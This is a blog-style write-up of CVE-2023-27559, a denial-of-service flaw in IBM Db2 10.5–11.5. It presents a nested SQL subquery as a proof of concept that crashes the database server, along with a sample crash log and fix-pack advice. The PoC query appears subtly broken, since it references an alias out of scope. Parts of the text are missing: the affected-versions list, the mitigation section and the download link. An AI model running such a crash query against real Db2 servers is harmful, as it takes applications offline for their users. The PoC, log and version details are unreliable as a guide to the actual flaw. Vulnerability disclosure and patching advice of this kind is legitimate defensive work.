CVE-2023-27559 - How a Simple Subquery Can Crash IBM Db2 (PoC, Exploit Details, and Fix)

In March 2023, security researchers uncovered a critical denial of service (DoS) vulnerability in IBM Db2 for Linux, UNIX, and Windows, affecting versions 10.5, 11.1, and 11.5, including the Db2 Connect Server. Listed as CVE-2023-27559 and identified by IBM X-Force ID: 249196, this flaw allows an attacker to crash the Db2 server with nothing more than a specially crafted SQL subquery. In this post, we’ll break down how this bug works, why it’s dangerous, and how you can protect your environment — with code snippets and references along the way.

What is CVE-2023-27559?

CVE-2023-27559 is a vulnerability in some versions of IBM Db2 that exposes the server to a denial of service. By sending a carefully constructed subquery, a user with basic access can cause the database engine process to crash. This means downtime for applications and possible data unavailability for anyone connected.

Db2 Connect Server (same versions)

Not affected: Db2 12 and later, with latest updates applied (as of publication).

What’s a "Specially Crafted Subquery"?

A subquery is an SQL statement nested within another. Some subqueries, especially those that are complex or have odd constructs, may cause unexpected parsing or memory handling in the SQL engine. In this case, certain malformed subqueries can trigger a faulty code path in Db2, leading to a crash — essentially killing the main db2sysc process.

IBM's advisory is here:
https://www.ibm.com/support/pages/node/6951563

Proof-of-Concept (PoC) SQL

Below is a simplified SQL subquery that can exploit the issue. This PoC is safe for demo systems only, never use it on production:

-- WARNING: Running this may crash your Db2 server!
SELECT * FROM sysibm.sysdummy1 WHERE 1 = (
  SELECT COUNT(*) FROM (
    SELECT a FROM (
      SELECT 1 AS a FROM sysibm.sysdummy1
    ) sub1
    WHERE EXISTS (
      SELECT * FROM (SELECT a FROM sub1) t WHERE t.a = 1
    )
  ) sub2
);

What happens:

You might see logs similar to

2023-03-15-10.20.55.123456+000 I36824F562  LEVEL: Severe
PID     : 1234       TID : 5678    PROC : db2sysc 
INSTANCE: db2inst1   NODE : 000
EDUID   : 1234       EDUNAME: db2agent (SYSTEM)
FUNCTION: DB2 UDB, relation data serv, sqlrr_subquery_eval, probe:114
MESSAGE : ZRC=x820F0002=-211939123=SQLD_PERM_MEM_EXH
          "Permanent memory exhausted"
          DIA8302C Cannot allocate memory due to no available memory.

Limitations: Only DoS, but could be used repetitively for extortion or disruption.

Note: Doesn’t directly leak data or allow code execution.

IBM’s Response & Patches

IBM responded with an advisory and issued fixes for all impacted versions.
Fix packs required:

Db2 10.5 FP11 or later, 11.1 FP6 or later, 11.5 FP8 or later

Direct Download:
Db2 Fix Packs

Mitigation:

References

- IBM Security Bulletin: CVE-2023-27559
- National Vulnerability Database: CVE-2023-27559
- IBM X-Force Exchange: XFE 249196
- Db2 Fix Packs

Conclusion

CVE-2023-27559 is a reminder that even mature database platforms like IBM Db2 can fall to simple query tricks. If you run Db2 10.5, 11.1, or 11.5, patch immediately. Never let untrusted users send raw SQL, and log suspicious query activity. While this bug doesn't break into your data, it can take your critical apps offline in seconds.

Stay safe — keep your databases patched and your access controlled!

Timeline

Published on: 04/26/2023 20:15:00 UTC
Last modified on: 05/12/2023 05:15:00 UTC